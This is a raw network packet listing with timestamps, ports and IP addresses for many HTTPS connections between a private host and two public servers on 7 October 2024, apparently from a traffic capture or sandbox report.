Oct 7, 2024 03:16:18.492362976 CEST	443	49763	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.492588997 CEST	49763	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.492748022 CEST	49763	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.492748022 CEST	49763	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.492772102 CEST	443	49763	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.492784977 CEST	443	49763	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.494507074 CEST	49769	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.494541883 CEST	443	49769	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:18.494640112 CEST	49769	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.494767904 CEST	49769	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:18.494782925 CEST	443	49769	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.031897068 CEST	443	49766	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.032340050 CEST	49766	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.032350063 CEST	443	49766	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.032861948 CEST	49766	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.032866001 CEST	443	49766	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.036398888 CEST	443	49765	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.036720037 CEST	49765	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.036729097 CEST	443	49765	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.037137032 CEST	49765	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.037142038 CEST	443	49765	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.109539032 CEST	443	49768	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.109879971 CEST	49768	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.109903097 CEST	443	49768	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.110285997 CEST	49768	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.110291958 CEST	443	49768	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.116647959 CEST	443	49767	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.116992950 CEST	49767	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.117012978 CEST	443	49767	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.117383003 CEST	49767	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.117393970 CEST	443	49767	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.130769968 CEST	443	49766	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.130836964 CEST	443	49766	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.130888939 CEST	49766	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.130981922 CEST	49766	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.130989075 CEST	443	49766	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.131002903 CEST	49766	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.131006002 CEST	443	49766	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.133163929 CEST	49771	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.133187056 CEST	443	49771	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.133260965 CEST	49771	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.133380890 CEST	49771	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.133393049 CEST	443	49771	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.135472059 CEST	443	49765	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.135540962 CEST	443	49765	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.135587931 CEST	49765	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.135648012 CEST	49765	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.135651112 CEST	443	49765	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.135673046 CEST	49765	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.135677099 CEST	443	49765	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.136677027 CEST	443	49769	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.136971951 CEST	49769	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.136991978 CEST	443	49769	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.137352943 CEST	49769	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.137362957 CEST	443	49769	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.137706995 CEST	49772	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.137752056 CEST	443	49772	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.137821913 CEST	49772	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.137927055 CEST	49772	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.137939930 CEST	443	49772	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.211529016 CEST	443	49768	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.211683035 CEST	443	49768	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.211776018 CEST	49768	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.211894989 CEST	49768	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.211910963 CEST	443	49768	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.211937904 CEST	49768	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.211944103 CEST	443	49768	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.217240095 CEST	443	49767	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.217391968 CEST	443	49767	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.217478037 CEST	49767	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.222197056 CEST	49773	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.222234964 CEST	443	49773	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.222312927 CEST	49773	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.222915888 CEST	49767	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.222927094 CEST	49773	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.222932100 CEST	443	49767	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.222942114 CEST	443	49773	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.222965002 CEST	49767	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.222978115 CEST	443	49767	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.225271940 CEST	49774	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.225280046 CEST	443	49774	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.225337982 CEST	49774	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.225455046 CEST	49774	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.225464106 CEST	443	49774	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.238271952 CEST	443	49769	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.238347054 CEST	443	49769	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.238408089 CEST	49769	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.238523006 CEST	49769	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.238523960 CEST	49769	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.238539934 CEST	443	49769	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.238554955 CEST	443	49769	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.241040945 CEST	49775	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.241081953 CEST	443	49775	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.241158009 CEST	49775	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.241271019 CEST	49775	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.241286039 CEST	443	49775	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.767154932 CEST	443	49772	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.767656088 CEST	49772	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.767690897 CEST	443	49772	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.768130064 CEST	49772	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.768136024 CEST	443	49772	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.772161961 CEST	443	49771	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.772510052 CEST	49771	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.772528887 CEST	443	49771	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.772882938 CEST	49771	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.772888899 CEST	443	49771	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.878928900 CEST	443	49772	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.879076958 CEST	443	49772	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.879139900 CEST	49772	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.879724979 CEST	49772	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.879754066 CEST	443	49772	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.879771948 CEST	49772	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.879780054 CEST	443	49772	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.882548094 CEST	443	49773	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.883295059 CEST	49777	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.883352995 CEST	443	49777	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.883455992 CEST	49777	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.886202097 CEST	443	49771	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.886282921 CEST	443	49771	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.886454105 CEST	49771	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.889813900 CEST	443	49774	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.906301022 CEST	443	49775	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.910844088 CEST	49775	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.910877943 CEST	443	49775	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.911329031 CEST	49775	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.911339998 CEST	443	49775	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.911592007 CEST	49774	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.911602020 CEST	443	49774	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.911999941 CEST	49774	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.912004948 CEST	443	49774	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.912341118 CEST	49773	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.912353039 CEST	443	49773	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.912455082 CEST	49777	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.912498951 CEST	443	49777	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.912751913 CEST	49773	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.912755966 CEST	443	49773	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.913235903 CEST	49771	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.913235903 CEST	49771	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.913260937 CEST	443	49771	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.913274050 CEST	443	49771	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.928288937 CEST	49778	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.928344965 CEST	443	49778	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:19.928417921 CEST	49778	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.928694010 CEST	49778	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:19.928713083 CEST	443	49778	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.009483099 CEST	443	49774	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.009617090 CEST	443	49774	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.009677887 CEST	49774	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.009721994 CEST	443	49773	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.009807110 CEST	443	49773	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.009818077 CEST	49774	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.009840012 CEST	443	49774	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.009854078 CEST	49774	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.009854078 CEST	49773	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.009865046 CEST	443	49774	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.009980917 CEST	49773	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.009984970 CEST	443	49773	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.009994030 CEST	49773	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.009996891 CEST	443	49773	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.010227919 CEST	443	49775	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.010416031 CEST	443	49775	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.010467052 CEST	49775	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.010900974 CEST	49775	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.010929108 CEST	443	49775	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.010946989 CEST	49775	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.010956049 CEST	443	49775	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.013443947 CEST	49780	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.013484001 CEST	443	49780	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.013547897 CEST	49780	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.013732910 CEST	49781	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.013782978 CEST	443	49781	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.013834953 CEST	49781	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.013935089 CEST	49780	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.013951063 CEST	443	49780	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.014177084 CEST	49781	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.014189959 CEST	443	49781	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.014813900 CEST	49782	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.014826059 CEST	443	49782	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.014884949 CEST	49782	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.015055895 CEST	49782	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.015069008 CEST	443	49782	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.551562071 CEST	49706	443	192.168.2.6	173.222.162.64
Oct 7, 2024 03:16:20.551672935 CEST	49706	443	192.168.2.6	173.222.162.64
Oct 7, 2024 03:16:20.552201986 CEST	49783	443	192.168.2.6	173.222.162.64
Oct 7, 2024 03:16:20.552248001 CEST	443	49783	173.222.162.64	192.168.2.6
Oct 7, 2024 03:16:20.552345037 CEST	49783	443	192.168.2.6	173.222.162.64
Oct 7, 2024 03:16:20.552601099 CEST	49783	443	192.168.2.6	173.222.162.64
Oct 7, 2024 03:16:20.552618980 CEST	443	49783	173.222.162.64	192.168.2.6
Oct 7, 2024 03:16:20.556555986 CEST	443	49706	173.222.162.64	192.168.2.6
Oct 7, 2024 03:16:20.556575060 CEST	443	49706	173.222.162.64	192.168.2.6
Oct 7, 2024 03:16:20.562805891 CEST	443	49778	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.563167095 CEST	49778	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.563191891 CEST	443	49778	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.563604116 CEST	49778	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.563612938 CEST	443	49778	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.574934006 CEST	443	49777	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.575393915 CEST	49777	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.575414896 CEST	443	49777	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.575815916 CEST	49777	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.575826883 CEST	443	49777	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.650680065 CEST	443	49781	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.651375055 CEST	49781	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.651405096 CEST	443	49781	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.652168989 CEST	49781	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.652174950 CEST	443	49781	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.656121016 CEST	443	49780	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.656653881 CEST	49780	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.656677008 CEST	443	49780	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.657308102 CEST	49780	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.657320976 CEST	443	49780	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.661792994 CEST	443	49778	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.661840916 CEST	443	49778	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.661928892 CEST	49778	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.661979914 CEST	443	49782	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.662273884 CEST	49778	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.662301064 CEST	443	49778	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.662538052 CEST	49782	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.662547112 CEST	443	49782	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.663265944 CEST	49782	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.663270950 CEST	443	49782	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.667030096 CEST	49784	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.667057037 CEST	443	49784	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.667140007 CEST	49784	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.667445898 CEST	49784	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.667458057 CEST	443	49784	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.677809954 CEST	443	49777	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.677867889 CEST	443	49777	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.677961111 CEST	49777	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.678072929 CEST	49777	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.678102016 CEST	443	49777	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.678124905 CEST	49777	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.678134918 CEST	443	49777	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.680943966 CEST	49785	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.680984020 CEST	443	49785	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.681126118 CEST	49785	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.681299925 CEST	49785	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.681317091 CEST	443	49785	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.750802994 CEST	443	49781	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.750953913 CEST	443	49781	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.751039028 CEST	49781	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.751333952 CEST	49781	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.751355886 CEST	443	49781	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.751405954 CEST	49781	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.751414061 CEST	443	49781	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.755604982 CEST	49786	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.755646944 CEST	443	49786	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.755726099 CEST	49786	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.755966902 CEST	49786	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.755986929 CEST	443	49786	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.757452011 CEST	443	49780	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.757531881 CEST	443	49780	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.757852077 CEST	49780	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.757920980 CEST	49780	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.757936954 CEST	443	49780	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.757953882 CEST	49780	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.757961035 CEST	443	49780	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.761020899 CEST	49787	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.761053085 CEST	443	49787	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.761125088 CEST	49787	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.761301041 CEST	49787	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.761312008 CEST	443	49787	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.809395075 CEST	443	49782	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.809478998 CEST	443	49782	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.809556007 CEST	49782	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.809772968 CEST	49782	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.809786081 CEST	443	49782	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.809823990 CEST	49782	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.809830904 CEST	443	49782	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.813334942 CEST	49788	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.813385010 CEST	443	49788	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:20.813476086 CEST	49788	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.813666105 CEST	49788	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:20.813688993 CEST	443	49788	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.154052973 CEST	443	49783	173.222.162.64	192.168.2.6
Oct 7, 2024 03:16:21.154151917 CEST	49783	443	192.168.2.6	173.222.162.64
Oct 7, 2024 03:16:21.303081036 CEST	443	49784	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.303904057 CEST	49784	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.303922892 CEST	443	49784	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.304569960 CEST	49784	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.304577112 CEST	443	49784	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.328711033 CEST	443	49785	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.329346895 CEST	49785	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.329375029 CEST	443	49785	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.329914093 CEST	49785	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.329919100 CEST	443	49785	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.402215004 CEST	443	49784	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.402268887 CEST	443	49784	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.402424097 CEST	49784	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.402645111 CEST	49784	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.402667046 CEST	443	49784	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.402681112 CEST	49784	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.402687073 CEST	443	49784	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.406578064 CEST	49790	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.406625986 CEST	443	49790	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.406699896 CEST	49790	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.406929016 CEST	49790	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.406946898 CEST	443	49790	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.421749115 CEST	443	49787	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.422255039 CEST	49787	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.422269106 CEST	443	49787	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.422924042 CEST	49787	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.422929049 CEST	443	49787	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.434287071 CEST	443	49786	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.434767008 CEST	49786	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.434797049 CEST	443	49786	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.435225964 CEST	49786	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.435234070 CEST	443	49786	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.436161995 CEST	443	49785	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.436233044 CEST	443	49785	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.436376095 CEST	49785	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.436573982 CEST	49785	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.436589956 CEST	443	49785	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.436604023 CEST	49785	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.436611891 CEST	443	49785	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.440064907 CEST	49791	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.440093994 CEST	443	49791	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.440279007 CEST	49791	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.440397978 CEST	49791	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.440407991 CEST	443	49791	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.450947046 CEST	443	49788	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.451399088 CEST	49788	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.451415062 CEST	443	49788	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.452158928 CEST	49788	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.452167034 CEST	443	49788	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.524955988 CEST	443	49787	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.525026083 CEST	443	49787	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.525131941 CEST	49787	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.525448084 CEST	49787	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.525465012 CEST	443	49787	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.525475025 CEST	49787	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.525482893 CEST	443	49787	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:21.529304981 CEST	49792	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:21.529340029 CEST	443	49792	13.107.246.60	192.168.2.6
